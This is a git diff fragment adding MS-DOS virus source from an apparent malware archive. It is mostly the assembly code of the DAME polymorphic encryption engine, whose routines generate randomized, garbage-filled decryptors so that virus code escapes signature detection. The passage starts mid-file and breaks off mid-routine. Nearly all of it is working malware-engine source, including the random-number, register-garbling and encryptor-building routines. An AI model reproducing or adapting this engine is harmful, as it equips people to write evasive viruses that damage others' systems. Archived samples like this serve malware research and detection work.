in the conditional + ret ; JMP + +clear_PIQ: +; Encode instructions that clear the prefetch instruction queue. +; CALL/POP +; JMP SHORT +; JMP + call get_rand ; Get a random number + mov dl,ah ; Put high byte in DL + and dx,0f ; Adjust so JMP target is + ; between 0 and 15 bytes away + and ax,3 ; Mask AX + jz clear_PIQ_call_pop ; 1/4 chance of CALL/POP + dec ax + jz clear_PIQ_jmp_short ; 1/4 chance of JMP SHORT + + mov al,0e9 ; Otherwise do a straight JMP +clear_PIQ_word: ; Handler if offset is a word + stosb ; Store the JMP or CALL + xchg ax,dx ; Offset to AX + stosw ; Encode it +clear_PIQ_byte: ; Encode AX random bytes + push cx + xchg ax,cx ; Offset to CX + jcxz random_encode_done ; Exit if no bytes in between +random_encode_loop: + call get_rand ; Get a random number + stosb ; Store it and then do this + loop random_encode_loop ; again +random_encode_done: + pop cx + ret + +clear_PIQ_jmp_short: + mov al,0ebh ; JMP SHORT + stosb ; Encode the instruction + xchg ax,dx + stosb ; and the offset + jmp short clear_PIQ_byte ; Encode intervening bytes + +clear_PIQ_call_pop: + mov al,0e8 ; CALL + call clear_PIQ_word ; Encode instruction, garbage + call garble ; Garble some and then find + call get_another ; an unused register + call clear_reg ; keep it unused + jmp short _pop ; and POP into it + +twogarble: ; Garble twice + mov _nest,0 ; Reset nest count + call garble ; Garble once +garble: ; ax, dx preserved ; Garble + call free_regs ; Are there any unused + jne return ; registers? + + test cl,2 ; Is garbling enabled? + jz return ; Exit if not + + push ax dx si + + call get_rand ; Get a random number into + xchg ax,dx ; DX + call get_another ; And a random reg into AX + call clear_reg ; Don't mark register as used + + mov si,offset garbletable ; Garble away + jmp short handle_jmp_table_nopush + +handle_jmp_table: ; ax,dx preserved ; This is the master dispatch + call garble ; Garble before encoding +handle_jmp_table_nogarble: ; Encode it + push ax dx si +handle_jmp_table_nopush: + push ax + lodsb ; Get table mask + cbw ; Clear high byte + call get_rand_bx ; Get random number + and bx,ax ; Get random routine + pop ax + + test cl,4 ; Short decryptor? + jnz doshort ; If so, use first routine + + inc _nest ; Update nest count + push ax + mov al,_maxnest + cmp _nest,al ; Are we too far? + pop ax + jb not_max_nest ; If so, then use the first +doshort:xor bx,bx ; routine in the table +not_max_nest: + push bx ; Save routine to be called + call [bx+si] ; Call the routine + pop bx si dx ax + ret + +garble_tworeg: +; Garble unused register with the contents of a random register. + mov si,offset tworegtable ; Use reg_reg table + and dx,7 ; Convert to random register # + jmp short handle_jmp_table_nogarble ; Garble away + +garble_onereg: +; Garble unused register with a random value (DX). + mov si,offset oneregtable ; Point to the table + jmp short handle_jmp_table_nogarble ; and garble + +_push: ; Encode a PUSH + or al,al ; PUSHing memory register? + js _push_mem + call one_in_two ; 1/2 chance of two-byte PUSH + js _push_mem + add al,50 ; otherwise it's really easy + stosb + ret +_push_mem: + add ax,0ff30 + jmp short go_mod_xxx_rm1 + +_pop: ; Encode a POP + or al,al ; POPing a memory register? + js _pop_mem + call one_in_two ; 1/2 chance of two-byte POP + js _pop_mem + add al,58 + stosb + ret +_pop_mem: + mov ah,8f +go_mod_xxx_rm1: + jmp mod_xxx_rm + +mov_reg_xxxx: ; ax and dx preserved + mov si,offset mov_reg_xxxx_table +go_handle_jmp_table1: + jmp short handle_jmp_table + +_mov_reg_xxxx_mov_add: + call get_rand_bx ; Get a random number + push bx ; Save it + sub dx,bx ; Adjust MOV amount + call mov_reg_xxxx ; MOV to register + pop dx ; Get random number + jmp short go_add_reg_xxxx ; Add it to the register + +_mov_reg_xxxx_mov_al_ah: + cmp al,_sp + jae _mov_reg_xxxx + push ax dx + call _mov_al_xx + pop dx ax + xchg dh,dl + jmp short _mov_ah_xx + +_mov_reg_xxxx_mov_xor: + call get_rand_bx + push bx + xor dx,bx + call mov_reg_xxxx + pop dx + jmp xor_reg_xxxx + +_mov_reg_xxxx_xor_add: + push dx + mov dx,ax + call xor_reg_reg + pop dx +go_add_reg_xxxx: + jmp add_reg_xxxx + +_mov_reg_xxxx_mov_rol: + ror dx,1 + call mov_reg_xxxx + jmp short _rol + +_mov_reg_xxxx_mov_ror: + rol dx,1 + call mov_reg_xxxx +_ror: + or al,8 +_rol: + mov ah,0d1 + jmp short go_mod_xxx_rm1 + + +_mov_reg_xxxx: + call one_in_two ; 1/2 chance of a four byte MOV + js _mov_reg_xxxx1 + + add al,0B8 + stosb + xchg ax,dx + stosw + ret +_mov_reg_xxxx1: ; Do the four byte register MOV + mov ah,0c7 + jmp mod_xxx_rm_stosw + +mov_ah_xx: +_mov_ah_xx: + add al,04 +mov_al_xx: +_mov_al_xx: + add al,0B0 + mov ah,dl + stosw + ret + +mov_reg_reg: ; ax, dx preserved + mov si,offset mov_reg_reg_table + jmp short go_handle_jmp_table1 + +_mov_reg_reg_push_pop: + push ax + xchg dx,ax + call _push ; PUSH REG2 + pop ax + jmp _pop ; POP REG1 + +_mov_reg_reg: + mov ah,08Bh + jmp short _mod_reg_rm_direction + +mov_xchg_reg_reg: + call one_in_two + js mov_reg_reg + +xchg_reg_reg: ; ax, dx preserved + mov si,offset xchg_reg_reg_table +go_handle_jmp_table2: + jmp short go_handle_jmp_table1 + +_xchg_reg_reg_push_pop: + push dx ax dx + call _push ; PUSH REG1 + pop ax + call _push ; PUSH REG2 + pop ax + call _pop ; POP REG1 + pop ax + jmp _pop ; POP REG2 + +_xchg_reg_reg_3rd_reg: + call free_regs + jne _xchg_reg_reg + + push dx ax + call get_another ; Get free register (reg3) + call mov_xchg_reg_reg ; MOV/XCHG REG3,REG2 + pop dx + call xchg_reg_reg ; XCHG REG3,REG1 + pop dx + xchg ax,dx + call mov_xchg_reg_reg ; MOV/XCHG REG2,REG3 + jmp clear_reg_dx + +_xchg_reg_reg: + or al,al + js __xchg_reg_reg + + cmp al,dl + jg _xchg_reg_reg_skip + xchg al,dl +_xchg_reg_reg_skip: + or dl,dl + jz _xchg_ax_reg +__xchg_reg_reg: + xchg al,dl + mov ah,87 + jmp short _mod_reg_rm +_xchg_ax_reg: + add al,90 + stosb + ret + +xor_reg_xxxx_xor_xor: + call get_rand_bx + push bx + xor dx,bx + call xor_reg_xxxx + pop dx + jmp short xor_reg_xxxx + +xor_reg_xxxx: + mov si,offset xor_reg_xxxx_table + jmp short go_handle_jmp_table2 + +_xor_reg_xxxx: + or al,030 + jmp _81h_ + +xor_reg_reg: + mov si,offset xor_reg_reg_table +go_handle_jmp_table3: + jmp short go_handle_jmp_table2 + +_xor_reg_reg: + mov ah,33 +; The following is the master encoder. It handles most traditional encodings +; with mod/reg/rm or mod/xxx/rm. +_mod_reg_rm_direction: + or al,al ; If al is a memory pointer, + js dodirection ; then we need to swap regs + or dl,dl ; If dl is a memory pointer, + js _mod_reg_rm ; we cannot swap registers + call one_in_two ; Otherwise there is a 50% + js _mod_reg_rm ; chance of swapping registers +dodirection: + xchg al,dl ; Swap the registers and adjust + sub ah,2 ; the opcode to compensate +_mod_reg_rm: + shl al,1 ; Move al to the reg field + shl al,1 + shl al,1 + or al,dl ; Move dl to the rm field +mod_xxx_rm: + or al,al ; Is al a memory pointer? + js no_no_reg ; If so, skip next line + + or al,0c0 ; Mark register in mod field +no_no_reg: + xchg ah,al + + test ah,40 + jnz exit_mod_reg_rm + + test cl,1 + jnz continue_mod_xxx_rm + + push ax + mov al,2e + stosb + pop ax +continue_mod_xxx_rm: + stosw + + mov si,cs:[bp] ; Store the patch location + add si,si ; for the memory in the + mov cs:[si+bp+2],di ; appropriate table for later + inc word ptr cs:[bp] ; adjustment + ; cs: overrides needed for bp + mov al,_relocate_amt + cbw +exit_mod_reg_rm: + stosw + ret + +add_reg_reg: + mov si,offset add_reg_reg_table + jmp short go_handle_jmp_table3 + +_add_reg_reg: + mov ah,3 + jmp short _mod_reg_rm_direction + +sub_reg_reg: + mov si,offset sub_reg_reg_table +go_handle_jmp_table4: + jmp short go_handle_jmp_table3 + +_sub_reg_reg: + mov ah,2bh + jmp short _mod_reg_rm_direction + +_add_reg_xxxx_inc_add: + call inc_reg + dec dx + jmp short add_reg_xxxx + +_add_reg_xxxx_dec_add: + call dec_reg + inc dx + jmp short add_reg_xxxx + +_add_reg_xxxx_add_add: + call get_rand_bx + push bx + sub dx,bx + call add_reg_xxxx + pop dx + jmp short add_reg_xxxx + +add_reg_xxxx1: + neg dx +add_reg_xxxx: + or dx,dx + jnz cont +return1: + ret +cont: + mov si,offset add_reg_xxxx_table + jmp go_handle_jmp_table4 + +_add_reg_xxxx: + or al,al + jz _add_ax_xxxx +_81h_: + or al,al + js __81h + add al,0c0 +__81h: + mov ah,81 +mod_xxx_rm_stosw: + call mod_xxx_rm +_encode_dx_: + xchg ax,dx + stosw + ret +_add_ax_xxxx: + mov al,5 +_encode_al_dx_: + stosb + jmp short _encode_dx_ + +sub_reg_xxxx1: + neg dx +sub_reg_xxxx: +_sub_reg_xxxx: + or dx,dx ; SUBtracting anything? + jz return1 ; If not, we are done + + or al,al ; SUB AX, XXXX? + jz _sub_ax_xxxx ; If so, we encode in 3 bytes + add al,028 ; Otherwise do the standard + jmp short _81h_ ; mod/reg/rm deal +_sub_ax_xxxx: + mov al,2dh + jmp short _encode_al_dx_ + +dec_reg: + push ax + add al,8 + jmp short _dec_inc_reg +inc_reg: + push ax +_dec_inc_reg: + or al,al + jns _norm_inc + mov ah,0ff + call mod_xxx_rm + pop ax + ret +_norm_inc: + add al,40 + stosb + pop ax + ret + +_mov_reg_reg_3rd_reg: + mov bx,offset mov_reg_reg + mov si,offset mov_xchg_reg_reg + or al,al ; Is reg1 a pointer register? + js reg_to_reg1 ; If so, we cannot use XCHG + jmp short reg_to_reg + +xor_reg_reg_reg_reg: + mov bx,offset _xor_reg_reg + jmp short reg_to_reg1 +add_reg_reg_reg_reg: + mov bx,offset _add_reg_reg + jmp short reg_to_reg1 +sub_reg_reg_reg_reg: + mov bx,offset _sub_reg_reg +reg_to_reg1: + mov si,bx +reg_to_reg: + call free_regs + jne no_free_regs + + push ax si + call get_another ; Get unused register (reg3) + call mov_reg_reg ; MOV REG3,REG2 + pop si dx + xchg ax,dx +finish_reg_clear_dx: + push dx + call si + pop ax + jmp clear_reg + +_xor_reg_xxxx_reg_reg: + mov bx,offset xor_reg_xxxx + mov si,offset xor_reg_reg +xxxx_to_reg: + call free_regs + jne no_free_regs + + push ax si + call get_another ; Get unused register (reg3) + call mov_reg_xxxx ; MOV REG3,XXXX + xchg ax,dx + pop si ax + + jmp short finish_reg_clear_dx +no_free_regs: + jmp bx + +_add_reg_xxxx_reg_reg: + mov bx,offset add_reg_xxxx + mov si,offset add_reg_reg + jmp short xxxx_to_reg + +_mov_reg_xxxx_reg_reg: + mov bx,offset mov_reg_xxxx + mov si,offset mov_xchg_reg_reg + jmp short xxxx_to_reg + +; The following are a collection of tables used by the various encoding +; routines to determine which routine will be used. The first line in each +; table holds the mask for the encoding procedure. The second line holds the +; default routine which is used when nesting is disabled. The number of +; entries in each table must be a power of two. To adjust the probability of +; the occurence of any particular routine, simply vary the number of times it +; appears in the table relative to the other routines. + +; The following table governs garbling. +garbletable: + db garbletableend - $ - 3 + dw offset return + dw offset return + dw offset return + dw offset return + dw offset return + + dw offset garble_tworeg + dw offset garble_tworeg + dw offset garble_tworeg + dw offset garble_onereg + dw offset garble_onereg + dw offset garble_onereg + + dw offset garble_onebyte + dw offset garble_onebyte + dw offset garble_onebyte + dw offset garble_jmpcond + + dw offset clear_PIQ +garbletableend: + +; This table is used by the one byte garbler. It is intuitively obvious. +onebytetable: + clc + cmc + stc + cld + std + sti + int 3 + lock + +; This table is used by the one register garbler. When each of the functions +; in the table is called, ax holds a random, unused register, and dx holds a +; random number. +oneregtable: + db oneregtableend - $ - 3 + dw offset xor_reg_xxxx + dw offset mov_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtableend: + +; This table is used to determine the decryption method +oneregtable1: ; dx = random # + db oneregtable1end - $ - 3 + dw offset xor_reg_xxxx + dw offset sub_reg_xxxx + dw offset add_reg_xxxx + dw offset add_reg_xxxx + dw offset dec_reg + dw offset inc_reg + dw offset _ror + dw offset _rol +oneregtable1end: + +; This table is used to determine the encryption method +oneregtable2: ; dx = random # + db oneregtable2end - $ - 3 + dw offset xor_reg_xxxx + dw offset add_reg_xxxx + dw offset sub_reg_xxxx + dw offset sub_reg_xxxx + dw offset inc_reg + dw offset dec_reg + dw offset _rol + dw offset _ror +oneregtable2end: + +tworegtable: ; dl = any register + db tworegtableend - $ - 3 + dw offset xor_reg_reg + dw offset mov_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtableend: + +tworegtable1: ; dl = any register + db tworegtable1end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset sub_reg_reg + dw offset add_reg_reg +tworegtable1end: + +tworegtable2: ; dl = any register + db tworegtable2end - $ - 3 + dw offset xor_reg_reg + dw offset xor_reg_reg + dw offset add_reg_reg + dw offset sub_reg_reg +tworegtable2end: + +mov_reg_xxxx_table: + db mov_reg_xxxx_table_end - $ - 3 + dw offset _mov_reg_xxxx + dw offset _mov_reg_xxxx_reg_reg + dw offset _mov_reg_xxxx_mov_add + dw offset _mov_reg_xxxx_mov_al_ah + dw offset _mov_reg_xxxx_mov_xor + dw offset _mov_reg_xxxx_xor_add + dw offset _mov_reg_xxxx_mov_rol + dw offset _mov_reg_xxxx_mov_ror + +mov_reg_xxxx_table_end: + +mov_reg_reg_table: + db mov_reg_reg_table_end - $ - 3 + dw offset _mov_reg_reg + dw offset _mov_reg_reg + dw offset _mov_reg_reg_3rd_reg + dw offset _mov_reg_reg_push_pop +mov_reg_reg_table_end: + +xchg_reg_reg_table: + db xchg_reg_reg_table_end - $ - 3 + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg + dw offset _xchg_reg_reg_push_pop + dw offset _xchg_reg_reg_3rd_reg +xchg_reg_reg_table_end: + +xor_reg_xxxx_table: + db xor_reg_xxxx_table_end - $ - 3 + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx + dw offset _xor_reg_xxxx_reg_reg + dw offset xor_reg_xxxx_xor_xor +xor_reg_xxxx_table_end: + +xor_reg_reg_table: + db xor_reg_reg_table_end - $ - 3 + dw offset _xor_reg_reg + dw offset xor_reg_reg_reg_reg +xor_reg_reg_table_end: + +add_reg_reg_table: + db add_reg_reg_table_end - $ - 3 + dw offset _add_reg_reg + dw offset add_reg_reg_reg_reg +add_reg_reg_table_end: + +sub_reg_reg_table: + db sub_reg_reg_table_end - $ - 3 + dw offset _sub_reg_reg + dw offset sub_reg_reg_reg_reg +sub_reg_reg_table_end: + +add_reg_xxxx_table: + db add_reg_xxxx_table_end - $ - 3 + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx + dw offset _add_reg_xxxx_reg_reg + dw offset sub_reg_xxxx1 + dw offset _add_reg_xxxx_inc_add + dw offset _add_reg_xxxx_dec_add + dw offset _add_reg_xxxx_add_add + dw offset _add_reg_xxxx_add_add + +add_reg_xxxx_table_end: + +endif + +if not vars eq 0 ; if (vars != 0) + +; _nest is needed to prevent the infinite recursion which is possible in a +; routine such as the one used by DAME. If this value goes above the +; threshold value (defined as MAXNEST), then no further garbling/obfuscating +; will occur. +_nest db ? + +; This is used by the routine mod_reg_rm when encoding memory accessing +; instructions. The value in _relocate_amt is later added to the relocation +; value to determine the final value of the memory adjustment. For example, +; we initially have, as the encryption instruction: +; add [bx+0],ax +; Let's say _relocate_amt is set to 2. Now the instruction reads: +; add [bx+2],ax +; Finally, the relocate procedure alters this to: +; add [bx+202],ax +; or whatever the appropriate value is. +; +; This value is used in double word encryptions. +_relocate_amt db ? + +; Various memory locations which we must keep track of for calculations: +_loopstartencrypt dw ? +_loopstartdecrypt dw ? + +_encryptpointer dw ? +_decryptpointer dw ? + +_decryptpointer2 dw ? + +_start_encrypt dw ? +_start_decrypt dw ? + beginclear1: + +; _used_regs is the register tracker. Each byte corresponds to a register. +; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it +; is zero, then the register's current value is unimportant to the routine. +; If it is any other value, then the routine should not play with the value +; contained in the register (at least without saving it first). +_used_regs db 8 dup (?) ; 0 = unused + +; The following four variables contain the addresses in current memory which +; contain the patch locations for the memory addressing instructions, i.e. +; XOR WORD PTR [bx+3212],3212 +; It is used at the end of the master encoding routine. +_encrypt_relocate_num dw ? +_encrypt_relocator dw 8 dup (?) + +_decrypt_relocate_num dw ? +_decrypt_relocator dw 10 dup (?) + endclear1: + +_encrypt_length dw ? ; The number of bytes to encrypt + ; (based upon alignment) +_counter_value dw ? ; Forwards or backwards +_decrypt_value dw ? ; Not necessarily the crypt key +_pointer_value1 dw ? ; Pointer register 1's initial value +_pointer_value2 dw ? ; Pointer register 2's initial value + +_counter_reg db ? +_encrypt_reg db ? +_pointer_reg1 db ? ; 4 = not in use +_pointer_reg2 db ? + +_pointer_rm db ? ; Holds r/m value for pointer registers +_maxnest db ? + +_kludge dw ? + +endif +--End DAME.ASM--Begin LAME.SCR------------------------------------------------- diff --git a/MSDOS/Virus.MSDOS.Unknown.dame090.asm b/MSDOS/Virus.MSDOS.Unknown.dame090.asm new file mode 100644 index 00000000..8479dc5f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dame090.asm @@ -0,0 +1,1196 @@ +ifndef vars +vars = 2 +endif + +if vars eq 1 +else + +_ax = 0 +_cx = 1 +_dx = 2 +_bx = 3 +_sp = 4 +_bp = 5 +_si = 6 +_di = 7 + +_es = 8 +_cs = 9 +_ss = 0a +_ds = 0bh + +MAXNEST = 0a ; controls recursion problems + +; ax = flags +; 15 : Reserved +; 14 : 0 = word, 1 = dword +; 13 : encryption direction : 0 = forwards, 1 = backwards +; 12 : counter direction : 0 = forwards, 1 = backwards +; 11 : ^ +; 10 : R +; 9 : E +; 8 : S +; 7 : E +; 6 : R +; 5 : V +; 4 : E +; 3 : D +; 2 : v +; DAME sets the above bits +; +; Virus sets the following bits: +; 1 : garble : 1 = yes, 0 = no +; 0 : DS = CS : 1 = yes, 0 = no +; bx = start decrypt in carrier file +; cx = encrypt length +; dx = start encrypt +; si = buffer to put decryption routine +; di = buffer to put encryption routine +; ds = current cs +; es = current cs + +; Returns: +; cx = decryption routine length +; all other registers are preserved. + +rnd_init_seed: + push dx + push cx + push bx + mov ah,2C ; get time + int 21 + + in al,40 ; port 40h, 8253 timer 0 clock + mov ah,al + in al,40 ; port 40h, 8253 timer 0 clock + xor ax,cx + xor dx,ax + jmp short rnd_get_loop_done +get_rand: + push dx + push cx + push bx + in al,40 ; get from timer 0 clock + db 5 ; add ax, xxxx +rnd_get_patch1 dw 0 + db 0BA ; mov dx, xxxx +rnd_get_patch2 dw 0 + mov cx,7 + +rnd_get_loop: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_get_loop_loc + inc al +rnd_get_loop_loc: + loop rnd_get_loop + +rnd_get_loop_done: + mov rnd_get_patch1,ax + mov rnd_get_patch2,dx + mov al,dl + pop bx + pop cx + pop dx + retn + +reg_xlat_table: + db 10000111b ; bx + db 0 ; sp + db 10000110b ; bp + db 10000100b ; si + db 10000101b ; di + +aligntable db 3,7,0f,1f + +redo_dame: + pop di + pop si + pop dx + pop cx + pop bx + pop ax +dame: ; Dark Angel's Multiple Encryptor + cld + push ax + push bx + push cx + push dx + push si + push di + call _dame + pop di + pop si + pop dx + pop bx ; return value in cx + pop bx + pop ax + ret + +_dame: +; set up variables + cld + + push ax + + mov ax,offset _encryptpointer + xchg ax,di ; pointer to encryption routine buffer + stosw + xchg si,ax ; pointer to decryption routine buffer + stosw + + stosw + + xchg ax,dx ; starting offset of encryption + stosw + xchg ax,bx ; starting offset of decryption routine + stosw + + xchg cx,dx ; dx = encrypt size + + call clear_used_regs + mov cx,(endclear1 - beginclear1) / 2 + rep stosw + + call get_rand + and ax,not 3 + + pop cx + xor cx,ax ; cx = bitmask + + call get_rand_bx + and bx,3 + mov al,byte ptr [bx+aligntable] + cbw + add dx,ax ; round up + not ax + and dx,ax + + mov ax,dx ; new encryption length + stosw ; _encrypt_length + + shr ax,1 + test ch,40 ; dword? + jz word_encryption + shr ax,1 +word_encryption: + test ch,10 + jnz counter_backwards + neg ax +counter_backwards: + stosw ; _counter_value + + xchg ax,dx ; get encryption length in bytes + + test ch,20 + jnz encrypt_forwards + neg ax ; pointer to start of decryption +encrypt_forwards: + stosw ; _pointer_value + + call get_rand + stosw ; encryption value = _decrypt_value + + mov ax,8484 + stosb + push di + stosw + stosb + pop di + + call one_in_two + js s1 + call get_another + stosb + call get_rand + mov _pointer_value,ax + dec di +s1: + inc di + + jmp short gbxoh_skip +get_bx_or_higher: + call clear_reg +gbxoh_skip: + call get_another + cmp al,_bx + jb get_bx_or_higher + stosb ; _pointer_reg + + call one_in_two + js s2 + call get_another + stosb ; _encrypt_reg +s2: + +; encode setup part of decryption + call clear_used_regs +encode_setup: + mov di,_decryptpointer + call twogarble + + mov si,offset _dummy_reg + push si +encode_setup_get_another: + call get_rand_bx + and bx,3 + mov al,[si+bx] + cbw + test al,80 + jnz encode_setup_get_another + or byte ptr [bx+_dummy_reg],80 + mov si,ax + inc byte ptr [si+offset _used_regs] + + add bx,bx + mov dx,word ptr [bx+_counter_value-2] + + mov _nest,0 + call mov_reg_xxxx + call twogarble + call swap_decrypt_encrypt + + push cx + and cl,not 3 + call _mov_reg_xxxx + pop cx + + mov _encryptpointer,di + + pop si + mov dx,4 +encode_setup_check_if_done: + lodsb + test al,80 + jz encode_setup + dec dx + jnz encode_setup_check_if_done + + mov si,offset _encryptpointer + mov di,offset _loopstartencrypt + movsw + movsw + +; encode decryption part of loop + mov _relocate_amt,0 + call do_encrypt1 + test ch,40 + jz dont_encrypt2 + + mov _relocate_amt,2 + call do_encrypt1 +dont_encrypt2: + mov bx,offset _loopstartencrypt + push cx + and cl,not 3 + call encodejmp + pop cx + + mov ax,0c3fc ; cld, ret + stosw + + mov si,offset _encrypt_relocator + mov di,_start_encrypt + + push cx + call relocate + pop cx + + mov bx,offset _loopstartdecrypt + call encodejmp + call fourgarble + mov _decryptpointer,di + + mov si,offset _decrypt_relocator + sub di,_decryptpointer2 + add di,_start_decrypt +relocate: + test ch,20 + jz do_encrypt_backwards + add di,_encrypt_length +do_encrypt_backwards: + sub di,_pointer_value + mov cx,word ptr [si-2] + jcxz exit_relocate + xchg ax,di +relocate_loop: + xchg ax,di + lodsw + xchg ax,di + add [di],ax + loop relocate_loop +exit_relocate: + mov di,_decryptpointer + mov cx,di + sub cx,_decryptpointer2 + ret + +do_encrypt1: + call playencrypt + call encryption + call playencrypt + ret + +encodejmp: + mov di,word ptr [bx+_encryptpointer-_loopstartencrypt] + + push bx + mov _nest,0 + mov al,_pointer_reg + and ax,7 + mov dx,2 + test ch,40 + jz update_pointer1 + shl dx,1 +update_pointer1: + test ch,20 + jz update_pointer2 + neg dx +update_pointer2: + call add_reg_xxxx + + mov dl,75 ; jnz + + mov al,_counter_reg + and ax,7 + cmp al,_sp + jz do_jnz + + push dx + mov dx,1 + + test ch,10 ; check counter direction + jz go_counter_forwards + + cmp al,_cx + jnz regular + call one_in_two + js regular + + pop dx + call get_rand_bx + xchg bx,dx + and dl,2 + or dl,0e0 ; loop/loopnz + jmp short do_jnz +regular: + neg dx +go_counter_forwards: + call add_reg_xxxx + pop dx +do_jnz: + pop bx + mov ax,[bx] + sub ax,di + dec ax + dec ax + xchg ah,al + mov al,dl ; jnz + + test ah,80 + jnz jmplocation_okay + + pop ax + pop ax + jmp redo_dame +jmplocation_okay: + stosw + mov word ptr [bx+_encryptpointer-_loopstartencrypt],di + ret + +swap_decrypt_encrypt: + mov _nest,MAXNEST + mov _decryptpointer,di + mov di,_encryptpointer + ret + +playencrypt: + mov di,_decryptpointer + call twogarble + + mov al,_encrypt_reg + and ax,7 + cmp al,4 ; is there an encryption register? + jz swap_decrypt_encrypt + + call get_rand_bx ; 3/4 chance of doing something + cmp bl,0c0 + ja swap_decrypt_encrypt + + call _playencrypt + call handle_jmp_table_nogarble +finish_encryption: + call swap_decrypt_encrypt + push cx + and cl,not 3 + call [bx+si+1] + pop cx + mov _encryptpointer,di + ret + +_playencrypt: + mov _nest,0 + call one_in_two + js get_used_register + + call get_rand_bx + mov si,offset oneregtable + jmp short continue_playencrypt + +get_used_register: + call get_rand_bx + and bx,7 + cmp bl,_sp + jz get_used_register + cmp byte ptr [bx+_used_regs],0 + jz get_used_register + mov si,offset tworegtable +continue_playencrypt: + xchg dx,bx + ret + +encryption: + mov di,_decryptpointer + call twogarble + mov al,_pointer_reg + and ax,7 + mov bx,offset reg_xlat_table-3 + xlat + + mov bp,offset _decrypt_relocate_num + call _playencrypt + call go_next + call handle_jmp_table_nogarble + + mov bp,offset _encrypt_relocate_num + call go_next + jmp short finish_encryption + +go_next: + push ax + lodsb + cbw + add si,ax + pop ax + inc si + inc si + ret + +clear_used_regs: + xor ax,ax + mov di,offset _used_regs + stosw + stosw + inc ax + stosw + dec ax + stosw + ret + +get_another: + call get_rand + and ax,7 + mov si,ax + cmp [si+_used_regs],0 + jnz get_another + inc [si+_used_regs] + ret + +clear_reg_dx: + xchg ax,dx +clear_reg: + mov si,ax + mov byte ptr [si+_used_regs],0 + ret + +free_regs: ; check for free registers + ; zero flag if OK + push ax + push cx + push di + mov di,offset _used_regs + mov cx,8 + xor ax,ax + repne scasb + pop di + pop cx + pop ax + ret + +one_in_two: + push ax + call get_rand + or ax,ax + pop ax + ret + +get_rand_bx: + xchg ax,bx + call get_rand + xchg ax,bx +return: + ret + +fourgarble: + call twogarble +twogarble: + mov _nest,0 + call garble +garble: ; ax, dx preserved + call free_regs + jne return + + test cl,2 + jz return + + push ax + push dx + + call get_rand ; random # to dx + xchg ax,dx + call get_another ; random reg in al + call clear_reg ; don't mark as used + + mov si,offset garbletable + jmp short handle_jmp_table_nopush_ax_dx + +handle_jmp_table: ; ax,dx preserved + push si + call garble + pop si +handle_jmp_table_nogarble: + push ax + push dx +handle_jmp_table_nopush_ax_dx: + push si + + push cx + xchg ax,cx + lodsb ; get mask value + cbw + xchg ax,cx + call get_rand_bx + and bx,cx + pop cx + + inc _nest + cmp _nest,MAXNEST + jb not_max_nest + xor bx,bx +not_max_nest: + push bx + call [bx+si] + pop bx + pop si + pop dx + pop ax + + ret + +garble_tworeg: + mov si,offset tworegtable + and dx,7 + jmp short handle_jmp_table_nogarble +garble_onereg: + mov si,offset oneregtable + jmp short handle_jmp_table_nogarble +garble_onebyte: + xchg ax,dx + and al,7 + mov bx,offset onebytetable + xlat + stosb + ret +garble_jmpcond: + xchg ax,dx + and ax,0f + or al,70 + stosw + ret + +_push: + or al,al + js _push_mem + add al,50 + stosb + ret +_push_mem: + add ax,0ff30 + jmp short go_mod_xxx_rm1 + +_pop: + or al,al + js _pop_mem + add al,58 + stosb + ret +_pop_mem: + mov ah,8f +go_mod_xxx_rm1: + jmp mod_xxx_rm + +mov_reg_xxxx: + mov si,offset mov_reg_xxxx_table +go_handle_jmp_table1: + jmp short handle_jmp_table + +_mov_reg_xxxx_mov_add: + call get_rand_bx + push bx + sub dx,bx + call mov_reg_xxxx + pop dx + jmp short go_add_reg_xxxx + +_mov_reg_xxxx_mov_al_ah: + cmp al,_sp + jae _mov_reg_xxxx + push ax + push dx + call _mov_al_xx + pop dx + pop ax + xchg dh,dl + jmp short _mov_ah_xx + +_mov_reg_xxxx_mov_xor: + call get_rand_bx + push bx + xor dx,bx + call mov_reg_xxxx + pop dx + jmp xor_reg_xxxx + +_mov_reg_xxxx_xor_add: + push dx + mov dx,ax + call xor_reg_reg + pop dx +go_add_reg_xxxx: + jmp add_reg_xxxx + +_mov_reg_xxxx_mov_rol: + ror dx,1 + call mov_reg_xxxx + jmp short _rol + +_mov_reg_xxxx_mov_ror: + rol dx,1 + call mov_reg_xxxx +_ror: + or al,8 +_rol: + mov ah,0d1 + jmp mod_xxx_rm + + +_mov_reg_xxxx: + add al,0B8 + stosb + xchg ax,dx + stosw + ret + +mov_ah_xx: +_mov_ah_xx: + add al,04 +mov_al_xx: +_mov_al_xx: + add al,0B0 + mov ah,dl + stosw + ret + +mov_reg_reg: + mov si,offset mov_reg_reg_table + jmp short go_handle_jmp_table1 + +_mov_reg_reg_push_pop: + push ax + xchg dx,ax ; al = reg2 + call _push ; push reg2 + pop ax ; al = reg1 + jmp _pop ; pop reg1 +_mov_reg_reg: + mov ah,08Bh + jmp short _mod_reg_rm_direction + +mov_xchg_reg_reg: + call one_in_two + js mov_reg_reg + +xchg_reg_reg: + mov si,offset xchg_reg_reg_table + jmp handle_jmp_table + +_xchg_reg_reg_push_pop: + push dx ; save reg2 + push ax ; save reg1 + push dx + call _push ; push reg1 + pop ax + call _push ; push reg2 + pop ax + call _pop ; pop reg1 + pop ax + jmp _pop ; pop reg2 + +_xchg_reg_reg_3rd_reg: + call free_regs + jne _xchg_reg_reg + + push dx ; save reg2 + push ax ; save reg1 + call get_another + call mov_xchg_reg_reg ; mov/xchg reg3, reg2 + pop dx ; get reg1 + call xchg_reg_reg ; xchg reg3, reg1 + pop dx ; get reg2 + xchg ax,dx ; ax=reg2, dx=reg3 + call mov_xchg_reg_reg ; mov/xchg reg2, reg3 + jmp clear_reg_dx + +_xchg_reg_reg: + or al,al + js __xchg_reg_reg + + cmp al,dl + jg _xchg_reg_reg_skip + xchg al,dl +_xchg_reg_reg_skip: + or dl,dl + jz _xchg_ax_reg +__xchg_reg_reg: + xchg al,dl + mov ah,87 + jmp short _mod_reg_rm +_xchg_ax_reg: + add al,90 + stosb + ret + +xor_reg_xxxx_xor_xor: + call get_rand_bx + push bx + xor dx,bx + call xor_reg_xxxx 